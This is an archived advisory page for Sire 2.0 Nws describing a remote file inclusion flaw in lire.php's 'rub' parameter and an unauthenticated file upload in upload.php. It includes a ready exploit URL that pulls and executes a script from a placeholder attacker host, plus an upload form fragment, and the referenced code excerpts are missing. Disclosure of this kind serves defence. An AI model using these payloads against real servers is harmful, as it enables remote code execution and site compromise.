Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Apps :: b06-1446.htm

Sire 2.0 Nws Remote File inclusion & Arbitary Files Upload



Sire 2.0 Nws Remote File inclusion & Arbitary Files Upload
Sire 2.0 Nws Remote File inclusion & Arbitary Files Upload





by Moroccan Security Team Geetz To All Freind

[+]File Inclusion:
	Input passed to the "rub" parameter in "lire.php" isn't properly verified,
	before it is used to include remote files
	Successful exploitation requires that "register_globals" is enabled.
[lire.php code]


[+]Exploit: Exploit http://[trajet]/lire.php?rub=http://[attacker]&cahier=1&art=1 
[+]http://[attacker]/compter.php Will be Included And Executed withe the privilege of the webserver 

File Upload 
Remote User can Upload jpg,jpeg,gif,bmp files without Identification ,
[upload.php code:]

Exploit :

action="http://Trajet/upload.php?"> Download File

[Moroccan Security Team] contact: simo64[at]gmail[dot]com


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH